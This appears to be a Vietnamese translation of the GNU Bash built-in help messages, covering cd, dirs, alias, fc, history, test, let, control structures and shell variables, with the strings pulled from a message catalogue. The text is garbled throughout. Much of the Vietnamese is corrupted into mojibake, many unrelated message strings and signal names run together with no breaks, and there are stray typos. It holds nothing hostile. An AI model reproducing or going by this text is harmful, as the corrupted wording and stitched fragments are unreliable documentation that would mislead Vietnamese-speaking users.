		dir	thêm DIR vào đầu đống thư mục,
		thì làm cho nó thư mục làm việc hiện thá»i.

	Dá»±ng sẵn « dirs » hiển thị đống thư mục.Báo động (hồ sÆ¡)Báo động (ảo)Äồng hồ báo thứcSố há»c cho vòng lặp.

	Tương đương với:
    	(( EXP1 ))
    	while (( EXP2 )); do
    		COMMANDS
    		(( EXP3 ))
    	done
EXP1, EXP2, EXP3 là biểu thức số há»c.
BỠsót biểu thức nào thì ứng xử như nó tính là 1.
	Trạng thái thoát:
	Trả lại trạng thái cá»§a câu lệnh cuối cùng được chạy.Theo vết/đặt bẫy BPTSai gá»i hệ thốngTín hiệu giảá»ng dẫn bị há»nglá»—i mạch nốiGiá»›i hạn CPUChuyển đổi thư mục làm việc cá»§a trình bao.

	Chuyển đổi thư mục hiện thá»i sang TMỤC.
	Thư mục mặc định là giá trị của biến trình bao HOME.

	Biến CDPATH thì xác định đưá»ng dẫn tìm kiếm cho thư mục chứa TMỤC.
	Các tên thư mục xen kẽ trong CDPATH cũng định giới bằng dấu hai chấm « : ».
	Một tên thư mục trống tương đương với thư mục hiện tại.
	Nếu TMỤC bắt đầu với dấu chéo « / » thì không dùng CDPATH.

	Nếu không tìm thấy thư mục, và đặt biến trình bao « cdable_vars »,
		thì giả sử từ là một tên biến.
	Nếu biến đó có giá trị thì giá trị này được dùng cho TMỤC.

	Tùy chá»n:
		-L	ép buộc theo liên kết tượng trưng
		-P	dùng cấu trúc thư mục vật lý mà không theo liên kết tượng trưng

	Mặc định là theo liên kết tượng trưng, như là tùy chá»n « -L » đưa ra.

	Trạng thái thoát:
	Trả lại 0 nếu thư mục được chuyển đổi; không thì khác số không.Tiến trình con đã giết hoặc dừngTên và sá»­ dụng cá»§a má»—i biến trình bao thưá»ng dùng.

BASH_VERSION	Thông tin phiên bản vá» phần má»m Bash này.
    CDPATH	Danh sách các thư mục định giới bằng dấu hai chấm,
	qua đó cần tìm kiếm thư mục được đưa ra dạng đối số với « cd ».
    GLOBIGNORE	Danh sách các mẫu định giới bằng dấu hai chấm,
	mà diá»…n tả các tên tập tin cần bá» qua khi mở rá»™ng tên đưá»ng dẫn.
    HISTFILE	Tên của tập tin chứa lịch sử câu lệnh của bạn.
    HISTFILESIZE	Số tối đa các dòng có thể được tập tin này chứa.
    HISTSIZE	Số tối đa các dòng lịch sử mà trình bao đang chạy có thể truy cập.
    HOME	Tên đưá»ng dẫn đầy đủ đến thư mục đăng nhập cá»§a bạn.
    HOSTNAME	Tên cá»§a máy chá»§ hiện thá»i cá»§a bạn.
    HOSTTYPE	Kiểu CPU dưới đó phiên bản Bash này đang chạy.
    IGNOREEOF	Äiá»u khiển ứng xá»­ cá»§a trình bao khi nhận
	ký tự kết thúc tập tin (EOF) là dữ liệu nhập độc nhất.
	Äặt thì giá trị cá»§a nó là số ký tá»± EOF có thể gặp liên tục
	trên một dòng rỗng trước khi trình bao sẽ thoát (mặc định là 10).
	Không đặt thì EOF sẽ cũng kết thúc nhập vào.
    MACHTYPE	Má»™t chuá»—i diá»…n tả hệ thống hiện thá»i trên đó Bash Ä‘ang chạy.
    MAILCHECK	Khoảng thá»i gian, theo giây, giữa hai lần Bash kiểm tra
	có thư mới chưa.
    MAILPATH	Danh sách các tên tập tin định giới bằng dấu hai chấm
	trong đó Bash kiểm tra có thư mới chưa.
    OSTYPE	Phiên bản UNIX trên đó Bash này đang chạy.
    PATH	Danh sách các thư mục định giới bằng dấu hai chấm,
	qua đó cần tìm kiếm câu lệnh.
    PROMPT_COMMAND	Một câu lệnh cần thực hiện trước khi in ra
	mỗi chuỗi nhắc chính.
    PS1		Chuỗi nhắc chính.
    PS2		Chuỗi nhắc phụ.
    PWD		Tên đưá»ng dẫn đầy đủ cá»§a thư mục hiện tại.
    SHELLOPTS	Danh sách các tùy chá»n trình bao đã hiệu lá»±c
	định giới bằng dấu hai chấm.
    TERM	Tên cá»§a kiểu thiết bị cuối hiện thá»i.
    TIMEFORMAT	Äịnh dạng kết xuất cho thống kê đếm thá»i gian
	được hiển thị bởi từ dành riêng « time ».
    auto_resume	Có giá trị thì trước tiên tìm một từ lệnh xuất hiện một mình
	trên một dòng, trong danh sách các công việc bị dừng chạy.
	Tìm được thì đặt công việc đó vào trước.
	Giá trị « exact » (chính xác) có nghĩa là từ lệnh phải tương ứng
	chính xác với một câu lệnh trong danh sách các công việc bị dừng chạy.
	Giá trị « substring » (chuỗi phụ) có nghĩa là từ lệnh phải tương ứng
	với một chuỗi phụ của công việc đó.
    histchars	Các ký tá»± Ä‘iá»u khiển mở rá»™ng và thay thế nhanh lịch sá»­.
	Ký tá»± đầu tiên thưá»ng là ký tá»± thay thế lịch sá»­, thưá»ng là « ! ».
	Ký tá»± thứ hai là ký tá»± thay thế nhanh, thưá»ng là « ^ ».
	Ký tá»± thứ ba là ký tá»± ghi chú vá» lịch sá»­, thưá»ng là « # ».
    HISTIGNORE	Danh sách các mẫu định giới bằng dấu hai chấm,
	được ùng để quyết định những câu lệnh nào nên được lưu
	vào danh sách lịch sử.
Tiếp tụcTác quyá»n © năm 2009 cá»§a Tổ chức Phần má»m Tá»± do.Tạo má»™t tiến trình đồng chạy có tên TÊN.

	Thực hiện câu LỆNH một cách không đồng bộ, có đầu và tiêu chuẩn
	và đầu ra tiêu chuẩn của câu lệnh này được kết nối thông qua một ống dẫn
	tới các bộ mô tả tập tin được gán cho chỉ số 0 và 1 của một biến mảng TÊN
	trong trình bao đang chạy.
	Tên mặc định là « COPROC ».

	Trạng thái thoát:
	Trả lại trạng thái thoát của câu LỆNH.Xác định các biến cục bộ.

	Tạo má»™t biến cục bá»™ tên TÊN, và gán cho nó GIÃ_TRỊ.
	TÙY_CHỌN có thể là bất cứ tùy chá»n nào được « declare » chấp nhận.

	Biến cục bộ chỉ dùng được bên trong chức năng;
		chỉ chức năng trong đó nó được xác định
		(và các chức năng con) có khả năng phát hiện nó.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i,
	và nếu trình bao đang chạy chức năng.Xác định hoặc hiển thị bí danh.

	Không đưa ra đối số thì « alias » in ra danh sách các bí danh
	theo định dạng có thể dùng lại được « bí_danh TÊN=GIÃ_TRỊ »
	trên đầu ra tiêu chuẩn.

	Có đối số thì một bí danh được xác định cho mỗi TÊN có giá trị đưa ra.
	Má»™t dấu cách theo sau trong GIÃ_TRỊ thì gây ra từ kế tiếp được kiểm tra
	có bí danh được thay thế khi bí danh được mở rộng.

	Tùy chá»n:
		-p	in ra tất cả các bí danh đã xác định theo một định dạng
			có thể dùng lại được

	Trạng thái thoát:
	bí danh trả lại Äúng nếu không đưa ra TÊN chưa có bí danh được xác định.Xác định chức năng trình bao.

	Tạo một chức năng trình bao có TÊN.
	Khi được gá»i dưới dạng má»™t câu lệnh đơn giản,
	TÊN chạy các câu LỆNH theo ngữ cảnh cá»§a trình bao Ä‘ang gá»i.
	Khi TÊN được gá»i, các đối số được gá»­i cho chức năng dưới dạng $1...$n,
	và tên chức năng nằm trong $FUNCNAME.

	Tráng thái thoát:
	Trả lại thành công nếu TÊN không phải chỉ Ä‘á»c.Hiển thị đống thư mục.

	Hiển thị danh sách các thư mục được nhá»› hiện thá»i.
	Câu lệnh « pushd » sẽ thêm thư mục vào danh sách;
	câu lệnh « popd » cũng nâng thư mục lên danh sách.

	Tùy chá»n:
		-c	gá»™t đống thư mục bằng cách xoá má»i phần tá»­
		₫l	đừng in a phiên bản thư mục có dấu ngã
			(tương đối so vá»›i thư mục chính cá»§a ngưá»i dùng)
		-p	in ra đống thư mục, mỗi dòng một mục
		-v	in ra đống thư mục, mỗi dòng một mục,
			vá»›i tiá»n tố là vị trí trong đống

	Äối số :
		+N	hiển thị mục thứ N bắt đầu từ bên trái danh sách
			được hiển thị bằng « dirs »
			khi được gá»i mà không đưa ra tùy chá»n,
			bắt đầu từ số không.

		-N	hiển thị mục thứ N bắt đầu từ bên phải danh sách
			được hiển thị bằng « dirs »
			khi được gá»i mà không đưa ra tùy chá»n,
			bắt đầu từ số không.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i.Hiển thị thông tin vá» các câu lệnh dá»±ng sẵn.

	Hiển thị bản tóm tắt ngắn vỠcác câu lệnh dựng sẵn.
	Nếu cũng ghi rõ MẪU thì in ra trợ giúp chi tiết
	vỠtất cả các câu lệnh tương ứng với mẫu đó ;
	không thì in ra danh sách các chủ đỠtrợ giúp.


Tùy chá»n:
		-d	xuất mô tả ngắn vá» má»—i chá»§ Ä‘á»
		-m	hiển thị cách sử dụng theo định dạng
			kiểu trang hướng dẫn (man)
		-s	xuất chỉ một bản tóm tắt ngắn vỠcách sử dụng
			cho mỗi chủ đỠtương ứng với MẪU

	Äối số :
		MẪU	mẫu ghi rõ một chủ đỠtrợ giúp

	Trạng thái thoát:
	Trả lại thành công nếu tìm được MẪU và không đưa ra tùy chá»n sai.Hiển thị thông tin vá» kiểu câu lệnh.

	Äối vá»›i má»—i TÊN, ngụ ý nó sẽ được giải thích như thế nào
		nếu nó được dùng dưới dạng một tên câu lệnh.

	Tùy chá»n:
		-a	hiển thị má»i vị trí chứa tập tin thá»±c thi được có TÊN;
			không đặt tùy chá»n « -p » thì cÅ©ng bao gồm
			các bí danh, dựng sẵn và chức năng.
		-f	thu hồi tính năng dò tìm chức năng trình bao
		-P	ép buá»™c tìm kiếm ÄÆ¯á»œNG_DẪN đối vá»›i má»—i TÊN,
			thậm chí nếu nó là bí danh, dựng sẵn hay chức năng,
			và trả lại tên của tập tin trên đĩa mà sẽ được thực thi
		-p	trả lại hoặc tên của tập tin trên đĩa mà sẽ được thực thi,
			hoặc không trả lại gì nếu câu lệnh « type -t TÊN »
			sẽ không trả lại « file » (tập tin).
		-t	xuất một từ riêng lẻ mà một của:
			• alias	bí danh
			• keyword	từ dành riêng của trình bao
			• function	chức năng của trình bao
			• builtin	dựng sẵn của trình bao
			• file	tập tin trên đĩa
			• 		(không gì) không tìm thấy

	Äối số :
	TÊN	tên câu lệnh cần giải thích.

	Tráng thái thoát:
	Trả lại thành công nếu tìm thấy tất cả các TÊN; không thì bị lỗi.Hiển thị hoặc thực thi các câu lệnh từ danh sách lược sử.

	fc được dùng để liệt kê hoặc chỉnh sửa và thực thi lại
	câu lệnh từ danh sách lược sử.
	ÄẦU và CUá»I có thể là số mà xác định phạm vi,
hoặc ÄẦU có thể là má»™t chuá»—i đại diện câu lệnh
	vừa chạy nhất mà bắt đầu với chuỗi đó.
	Tùy chá»n:
		-e ENAME	chá»n trình soạn thảo nào cần dùng;
			mặc định là FCEDIT, sau đó EDITOR, sau đó vi
		-l	liệt kê các dòng thay vào chỉnh sửa
		-n	liệt kê mà không in ra số thứ tự dòng
		-r	đảo ngược thứ tự các dòng (mới nhất trước)

	Tùy theo định dạng « fc -s [mẫu=lần_lập_lại ...] [lệnh] »,
	câu LỆNH được chạy lại sau khi thay thế CŨ bằng MỚI.

	Cũng có thể sử dụng bí danh có ích « r='fc -s' »,
	vì thế việc gõ « r cc » sẽ chạy câu lệnh cuối cùng
	mà bắt đầu với « cc », và việc gõ « r »
	sẽ đơn giản chạy lại câu lệnh cuối cùng.

	Trạng thái thoát:
	Trả lại thành công hay trạng thái của câu lệnh được thực thi;
		gặp lỗi thì khác số không.Hiển thị hoặc thao tác danh sách lượd sử.

	Hiển thị danh sách lược sử với các số thứ tự dòng,
	cũng đặt dấu sao « * » vào trước mỗi mục nhập bị sửa đổi.
	Äối số N thì liệt kê chỉ N mục nhập cuối cùng.

	Tùy chá»n:
		-c	xoá sạch danh sách lược sá»­ bằng cách xoá má»i mục nhập
		-d hiệu	xoá mục nhập lược sử ở hiệu này

		-a	phụ thêm vào tập tin lư ợc sử các dòng lược sử từ phiên chạy này
		-n	Ä‘á»c má»i dòng lược sá»­ chưa Ä‘á»c từ tập tin lược sá»­
		-r	Ä‘á»c tư lược sá»­ và phụ thêm ná»™i dung vào lược sá»­
		-w	ghi lược sá»­ hiện thá»i vào tập tin lược sá»­
			cũng phụ thêm vào danh sách lược sử

		-p	mở rá»™ng lược sá»­ vá»›i má»—i Äá»I_Sá», và hiển thị kết quả
			mà không ghi nhớ nó vào danh sách lược sử
		-s	phụ thêm các Äá»I_Sá» vào danh sách lược sá»­
			dưới dạng một mục nhập riêng lẻ

	ÄÆ°a ra TÊN_TẬP_TIN thì nó được dùng làm tập tin lược sá»­.
	Nếu không, và nếu $HISTFILE có giá trị, thì nó được dùng;
	nếu $HISTFILE không có giá trị thì dùng « ~/.bash_history ».

	Nếu biến $HISTTIMEFORMAT đã được đặt và có giá trị,
	thì giá trị đó được dùng làm chuỗi định dạng
	cho strftime(3) in ra nhãn thá»i gian tương ứng
	với mỗi mục nhập lược sử được hiển thị.
	Không thì không in ra nhãn thá»i gian.

	Trạng thái thoát:
	Trả lại thành công nếu không gặp tùy chá»n sai hay gặp lá»—i.Hiển thị hoặc đặt mặt nạ chế độ tập tin.

	Äặt mặt nạ (bá»™ lá»c) tạo tập tin cá»§a ngưá»i dùng thành CHẾ_ÄỘ.
		Không đưa ra CHẾ_ÄỘ thì in ra giá trị hiện thá»i cá»§a mặt nạ.

	Nếu CHẾ_ÄỘ bắt đầu vá»›i má»™t chữ số, nó được Ä‘á»c là má»™t số bát phân;
		không thì nó là một chuỗi chế độ tượng trưng
		giống như chuỗi được chmod(1) chấp nhận.

	Tùy chá»n:
		-p	không đưa ra CHẾ_ÄỘ thì xuất theo má»™t định dạng
			có thể được dùng lại làm dữ liệu nhập vào
		-S	làm cho kết xuất cũng tượng trưng,
			không thì xuất một số bát phân

	Tráng thái thoát:
	Trả lại thành công nếu không có CHẾ_ÄỘ sai hay tùy chá»n sai.Hiển thị các việc Ä‘iá»n nốt có thể làm, phụ thuá»™c vào những tùy chá»n.

	Dự định dùng từ bên trong một chức năng trình bao
	mà tạo các việc Ä‘iá»n nốt có thể làm.
	Nếu đưa ra đối số TỪ vẫn tùy chá»n,
	thì tạo các kết quả tương ứng với TỪ.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i.Hiển thị thá»i lượng chạy tiến trình.

	In ra thá»i lượng chạy trình bao (và các tiến trình con)
		đối vá»›i hệ thống và má»—i ngưá»i dùng.

	Trạng thái thoát:
	Lúc nào cũng thành công.Hiển thị trạng thái của công việc.

	Liệt kê các công việc đang chạy.
	ÄẶC_TẢ_CÔNG_VIỆC hạn chế kết xuất thành công việc đó.
	Không đưa ra tùy chá»n thì hiển thị trạng thái
	cá»§a má»i công việc Ä‘ang chạy.

	Tùy chá»n:
		-l	liệt kê các mã số tiến trình, thêm vào thông tin bình thưá»ng
		-n	liệt kê chỉ những tiến trình đã thay đổi trạng thái
			kể từ lần thông báo cuối cùng
		-s	hạn chế kết xuất thành những công việc bị dừng chạy

	ÄÆ°a ra « -x » thì câu LỆNH được chạy sau khi tất cả các đặc tả công việc
	mà xuất hiện trong các Äá»I_SỠđã được thay thế bằng mã số tiến trình
	của trình dẫn đầu nhóm tiến trình của công việc đó.

	Trạng thái thoát:
	Trả lại thành công nếu không gặp tùy chá»n sai hay gặp lá»—i.
	ÄÆ°a ra « -x » thì trả lại trạng thái thoát cá»§a câu LỆNH.Hiển thị danh sách các thư mục được nhá»› hiện thá»i.
	Lệnh « pushd » thêm thư mục vào danh sách này;
« popd » nâng thư mục lên danh sách.

	Tùy chá»n:
		-c	gá»™t đống thư mục bằng cách xoá má»i phần tá»­
		-l	đừng in ra phiên bản thư mục có dấu ngã nằm trước
			mà tương ứng vá»›i thư mục chính cá»§a ngưá»i dùng
		-p	in ra đống thư mục mỗi dòng một mục
		-v	in ra đống thư mục mỗi dòng một mục
			có vị trí đống nằm trước

	Äối số :
		+N	hiển thị mục thứ N đếm từ bên trái danh sách
			hiển thị theo thư mục khi không đưa ra tùy chá»n,
			bắt đầu từ số không.

		-N	hiển thị mục thứ N đếm từ bên phải danh sách
			hiển thị theo thư mục khi không đưa ra tùy chá»n,
			bắt đầu từ số không.Hoàn tấtHoàn tất(%d)Câu lệnh EMTBật/tắt dựng sẵn trình bao.
	Bật và tắt các dựng sẵn trình bao.	Chức năng tắt thì cho phép bạn thực thi một câu lệnh đĩa
	mà cùng tên với một dựng sẵn trình bao,
	không cần dùng tên đưá»ng dẫn đầy đủ.

	Tùy chá»n:
		-a	in ra một danh sách các dựng sẳn, cũng hiển thị trạng thái bật/tắt
		-b	tắt mỗi TÊN hoặc hiển thị danh sách các dựng sẵn bị tắt
		-p	in ra danh sách các dựng sẵn theo một định dạng có thể dùng lại được
		-s	in ra chỉ tên mỗi dựng sẵn Posix « đặc biệt »

	Tùy chá»n Ä‘iá»u khiển chức năng nạp động:
		-f	nạp dá»±ng sẵn TÊN từ Ä‘iá»u khiển dùng chung TÊN_TẬP_TIN
		-d	gỡ bỠmột dựng sẵn được nạp dùng « -f »

	Không có tùy chá»n thì má»—i TÊN được bật lại.

	Äể sá»­ dụng « test » (hàm thá»­) nằm trên đưá»ng dẫn mặc định $PATH
	thay cho phiên bản của dựng sẵn trình bao,
	hãy gõ chuỗi « enable -n test ».

	Trạng thái thoát:
	Trả lại thành công nếu TÊN là má»™t dá»±ng sẵn trình bao, và không gặp lá»—i.Äịnh giá biểut thức số há»c.

	BIỂU_THỨC được tính tùy theo các quy tắc vỠđịnh giá số há»c.
	Tương đương với « let BIỂU_THỨC ».

	Trạng thái thoát:
	Trả lại 1 nếu BIỂU_THỨC tính là 0; không thì trả lại 0.Äịnh giá biểu thức số há»c.

	Äịnh giá má»—i Äá»I_Sá» như là má»™t biểu thức số há»c.
	Việc định giá xảy ra theo số nguyên có độ rộng cố định
	mà không kiểm tra có tràn chưa,
	dù trưá»ng hợp chia cho không được bắt và đặt cá» là má»™t lá»—i.
	Theo đây có danh sách các toán tử được nhóm lại
	theo cấp các toán tá»­ cùng quyá»n Ä‘i trước.
	Danh sách các cấp có thứ tá»± quyá»n Ä‘i trước giảm.

	id++, id--	biến đổi sau khi tăng/giảm dần
	++id, --id	biến đổi trước khi tăng/giảm dần
	-, +	trừ, cộng nguyên phân
	!, ~	phủ định lôgic và theo vị trí bit
	**	mũ hoá
	*, /, %	phép nhân, phép chia, số dư
	+, -	phép công, phép trừ
	<<, >>	dá»i theo vị trí bit bên trái/phải
	<=, >=, <, >	so sánh
	==, !=	 bất đẳng thức, đẳng thức
	&	AND (và) theo vị trí bit
	^	XOR (hoặc loại từ) theo vị trí bit
	||	OR (hoặc) theo vị trí bit
	b_thức ? b_thức : b_thức	toán từ Ä‘iá»u kiện
	=, *=, /=, %=, +=, -=, <<=, >>=, &=, ^=, |=	gán

	Cho phép biến trình bao dưới dạng toán hạng.
	Tên của biến được thay thế bằng giá trị của nó
	(bị ép buộc thành một số nguyên rộng cố định)
	bên trong một biểu thức.
	Biến không cần có thuộc tính số nguyên được bật
	để được dùng làm biểu thức.

	Các toán tá»­ được định giá theo thứ tá»± quyá»n Ä‘i trước.
	Các biểu thức con nằm trong dấu ngoặc vẫn còn được định giá trước tiên,
	thì có quyá»n cao hÆ¡n các quy tắc Ä‘i trước bên trên.

	Trạng thái thoát:
	Nếu Äá»I_Sá» cuối cùng được định giá thành 0 thì let trả lại 1;
	không thì let trả lại 0.Äịnh giá biểu thức Ä‘iá»u kiện.

Thoát với trạng thái 0 (đúng) hoặc 1 (sai), phụ thuộc vào phép tính B_THỨC.
Biểu thức kiểu nguyên phân hoặc nhị phân cũng được.
Biểu thức nguyên phân thưá»ng dùng để kiểm tra trạng thái cá»§a tập tin.
Cũng có đối số chuỗi, và toán tử so sánh thuộc số.
    
    Toán tử tập tin:
    
        -a TẬP_TIN        Äúng nếu tập tin có phải tồn tại.
        -b TẬP_TIN        Äúng nếu tập tin là đặc biệt vá» khối.
        -c TẬP_TIN        Äúng nếu tập tin là đặc biệt vá» ký tá»±.
        -d TẬP_TIN        Äúng nếu tập tin là má»™t thư mục.
        -e TẬP_TIN        Äúng nếu tập tin có phải tồn tại.
        -f TẬP_TIN        Äúng nếu tập tin có phải tồn tại
					cÅ©ng là má»™t tập tin bình thưá»ng.
        -g TẬP_TIN        Äúng nếu tập tin là set-group-id (đặt mã số nhóm).
        -h TẬP_TIN        Äúng nếu tập tin là má»™t liên kết tượng trưng.
        -L TẬP_TIN        Äúng nếu tập tin là má»™t liên kết tượng trưng.
        -k TẬP_TIN        Äúng nếu tập tin có bit « dính » được đặt.
        -p TẬP_TIN        Äúng nếu tập tin là má»™t ống dẫn đặt tên.
        -r TẬP_TIN        Äúng nếu tập tin cho bạn Ä‘á»c được.
        -s TẬP_TIN        Äúng nếu tập tin có phải tồn tại và không phải rá»—ng.
        -S TẬP_TIN        Äúng nếu tập tin là má»™t ổ cắm.
        -t FD          Äúng nếu FD (bá»™ mô tả tập tin) được mở trên thiết bị cuối.
        -u TẬP_TIN        Äúng nếu tập tin is set-user-id.
        -w TẬP_TIN        Äúng nếu tập tin cho bạn ghi vào được.
        -x TẬP_TIN        Äúng nếu tập tin cho bạn thá»±c hiện được.
        -O TẬP_TIN        Äúng nếu tập tin được bạn sở hữu má»™t cách hiệu quả.
        -G TẬP_TIN        Äúng nếu tập tin được nhóm cá»§a bạn sở hữu
					một cách hiệu quả.
        -N TẬP_TIN        Äúng nếu tập tin đã bị sá»­a đổi kể từ lần Ä‘á»c cuối cùng.
    
      TẬP_TIN1 -nt TẬP_TIN2  Äúng nếu tập tin 1 má»›i hÆ¡n tập tin 2
		(tùy theo ngày sửa đổi)
    
      TẬP_TIN1 -ot TẬP_TIN2  Äúng nếu tập tin 1 cÅ© hÆ¡n tập tin 2.
    
      TẬP_TIN1 -ef TẬP_TIN2  Äúng nếu tập tin 1 là má»™t liên kết cứng
						tới tập tin 2.
    
    Toán tử chuỗi:
    
        -z CHUá»–I      Äúng nếu chuá»—i rá»—ng.
    
        -n CHUá»–I
        CHUá»–I         Äúng nếu chuá»—i không rá»—ng.
    
        CHUá»–I1 = CHUá»–I2		Äúng nếu hai chuá»—i trùng nhau.
        CHUá»–I1 != CHUá»–I2	Äúng nếu hai chuá»—i khác nhau.
        CHUá»–I1 < CHUá»–I2		Äúng nếu CHUá»–I1 sắp xếp đằng trước CHUá»–I2
						theo thứ tự từ điển.
        CHUá»–I1 > CHUá»–I2		Äúng nếu CHUá»–I1 sắp xếp đằng sau CHUá»–I2
						theo thứ tự từ điển.
    
    Toán tử khác:
    
        -o TÙY_CHỌN      Äúng nếu tùy chá»n trình bao này đã được bật.
        ! B_THỨC         Äúng nếu biểu thức này không đúng.
        B_THỨC1 -a B_THỨC2 		Äúng nếu cả hai biểu thức này là đúng.
        B_THỨC1 -o B_THỨC2 		Äúng nếu má»™t cá»§a hai biểu thức này là đúng.
    
        đối_số1 OP đối_số2   		Phép thá»­ số há»c. OP là má»™t cá»§a:
		-eq		bằng
		-ne		không bằng
             	-lt		nhỠhơn
		-le		nhỠhơn hoặc bằng
		-gt		lớn hơn
		-ge		lớn hơn hoặc bằng

	Trạng thái thoát:
	Trả lại thành công nếu B_THỨC định giá thành Äúng;
	không thành công nếu B_THỨC định giá thành Sai hay đưa ra đối số sai.Äịnh giá biểu thức Ä‘iá»u kiện.

	Äây là má»™t từ đồng nghÄ©a vá»›i dá»±ng sẵn « test »,
	nhưng đối số cuối cùng phải là một « ] » nghĩa chữ,
	đổ tương ứng với « [ » mở.Thực thi một câu lệnh đơn giản, hoặc hiển thị thông tin vỠcác câu lệnh.

Chạy LỆNH vá»›i các Äá»I_Sá» thu hồi chức năng dò tìm chức năng trình bao,
hoạc hiển thị thông tin vỠcác câu LỆNH được ghi rõ.
Có thể được dùng để gá»i câu lệnh trên đĩa khi đã có má»™t chức năng cùng tên.

Tùy chá»n:
	-p	dùng má»™t giá trị mặc định cho ÄÆ¯á»œNG_DẪN
		mà chắc chắn sẽ tìm má»i tiện ích tiêu chuẩn
	-v	in ra mô tả vỠcâu LỆNH mà tương tự với dựng sẵn « type » (kiểu)
	-V	in ra mô tả chi tiết hơn vỠmỗi câu LỆNH

Trạng thái thoát:
Trả lại trạng thái thoát của câu LỆNH, hoặc bị lỗi nếu không tìm thấy câu LỆNH.Thực thi các đối số dưới dạng một câu lệnh trình bao.

	Phối hợp các Äá»I_Sá» thành má»™t chuá»—i riêng lẻ,
	dùng kết quả làm dữ liệu nhập vào trình bao,
	và thực thi các câu lệnh kết quả.

	Trạng thái thoát:
	Trả lại trạng thái thoát của câu lệnh,
	hay thành công nếu câu lệnh vô giá trị.Thực thi câu lệnh miễn là một phép thử không thành công.

	Mở rộng và thực thi các câu LỆNH miễn là câu lệnh cuối cùng
	trong các câu LỆNH « until » (đến khi) có trạng thái thoát
	khác số không.

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được chạy.Thực thi câu lệnh miễn là một phép thử thành công.

	Mở rộng và thực thi các câu LỆNH miễn là câu lệnh cuối cùng
	trong những câu LỆNH « while » (trong khi)
	có trạng thái thoát là số không.

	Trạng thái thoát:
	Trả lại trạng thái cá»§a câu lệnh cuối cùng được chạy.Thá»±c thi câu lệnh dá»±a vào Ä‘iá»u kiện.

	Danh sách « if LỆNH » được thực thi.
	Nếu trạng thái thoát của nó là số không,
	thì danh sách « then LỆNH » được thực thi.
	Không thì mỗi danh sách « elif LỆNH » được thực thi lần lượt,
	và nếu trạng thái thoát của nó là số không,
	thì danh sách « then LỆNH » tương ứng được thực thi
	và câu lệnh « nếu » (if) sẽ chạy xong.
	Không thì danh sách « else LỆNH » được thực thi, nếu có.
	Trạng thái thoát của toàn bộ tạo dựng
	là trạng thái của câu lệnh cuối cùng được chạy,
	hoặc số không nếu không có Ä‘iá»u kiện có kết quả là Äúng.

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được chạy.Thức thi câu lệnh dựa vào khớp mẫu.

	Thá»±c thi các câu LỆNH má»™t cách chá»n lá»c,
	dựa vào TỪ tương ứng với MẪU.
	Nhiá»u mẫu định giá»›i bằng « | ».

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được chạy.Thực thi câu lệnh cho mỗi bộ phận trong một danh sách.

	Vòng lặp « for » (cho) thì thực thi câu lệnh
	cho mỗi bộ phận trong một danh sách các mục.
	Không đưa ra « in CÃC_TỪ ... » thì giả sá»­ « in "$@" ».
	Äối vá»›i má»—i phần tá»­ trong CÃC_TỪ,
	TÊN được đặt thành phần tử đó,
	và các câu LỆNH được thực thi.

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được chạy.Thực thi các câu lệnh từ một tập tin trong trình bao đang chạy.

	Äá»c và thá»±c thi các câu lệnh từ TÊN_TẬP_TIN
	trong trình bao đang chạy.
	Những mục nhập trong $PATH được dùng
	để tìm thư mục chứa tên tập tin này.
	ÄÆ°a ra đối số thì má»—i đối số trở thành tham số thuá»™c vị trí
	khi TÊN_TẬP_TIN được thực thi.

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được thực thi trong TÊN_TẬP_TIN;
	không thành công nếu không thể Ä‘á»c TÊN_TẬP_TIN.Thá»±c thi câu lệnh Ä‘iá»u kiện.

Trả vỠtrạng thái 0 hoặc 1, phụ thuộc vào phép tính
	biểu thức Ä‘iá»u kiện BIỂU_THỨC.
Biểu thức chứa cùng những nguyên sơ được dùng bởi dựng sẵn « test »,
	và có thể được tổ hợp dùng các toán tử theo đây:
    
    	( BIỂU_THỨC )	Trả vỠgiá trị của BIỂU_THỨC
    	! BIỂU_THỨC	Äúng nếu BIỂU_THỨC là không đúng; không thì sai
    	B_THỨC1 && B_THỨC2
	Äúng nếu cả hai B_THỨC1 và B_THỨC2 Ä‘á»u là đúng; không thì sai
    	B_THỨC1 || B_THỨC2
	Äúng nếu má»™t cá»§a B_THỨC1 và B_THỨC2 là đúng; không thì sai
    
Khi dùng toán từ « == » và « != », chuỗi bên phải toán tử được dùng làm mẫu,
	và thực hiện chức năng khớp mẫu.
Toán tử « && » và « || » không tính B_THỨC2 nếu B_THỨC1 là đủ
	để tính giá trị của biểu thức.

	Trạng thái thoát:
	0 hay 1 phụ thuộc vào giá trị của BIỂU_THỨC.Chạy dựng sẵn trình bao.

	Chạy SHELL-BUILTIN (dá»±ng sẵn trình bao) vá»›i các Äá»I_Sá»
	mà không thực thi chức năng dò tìm câu lệnh.
	Có ích khi bạn muốn thực thi lại một dựng sẵn trình bao
	dưới dạng một chức năng trình bao, nhưng cũng
	cần thực thi dựng sẵn bên trong chức năng.

	Trạng thái thoát:
	Trả lại trạng thái thoát của SHELL-BUILTIN,
	hoặc sai nếu SHELL-BUILTIN không phải là một
	dá»±ng sẵn trình bao.Thoát %dThoát khá»i má»™t trình bao đăng nhập.

	Thoát khá»i má»™t trình bao đăng nhập, vá»›i trạng thái thoát N.
	Trả lại lá»—i nếu không được thá»±c thi trong trình bao đăng nhập.Thoát khá»i vòng lặp kiểu trong, trong khi hay đến khi.

	Thoát khá»i má»™t vòng lặp kiểu TRONG, TRONG KHI hay ÄẾN KHI.
	Có ghi rõ N thì ngắt N vòng lặp bao bá»c.

	Trạng thái thoát:
	Trạng thái thoát là 0 nếu N không nhá» hÆ¡n hay bằng 1.Thoát khá»i trình bao.

	Thoát khá»i trình bao vá»›i trạng thái N.
	Không đưa ra N thì trạng thái thoát
	là trạng thái cá»§a câu lệnh cuối cùng được chạy.Giá»›i hạn tập tinNgoại lệ chấm độngÄịnh dạng và in ra các Äá»I_Sá» tùy theo ÄỊNH_DẠNG.

	Tùy chá»n:
		-v BIẾN	gán kết xuất cho biến trình bao này,
			hơn là hiển thị nó trên đầu ra tiêu chuẩn

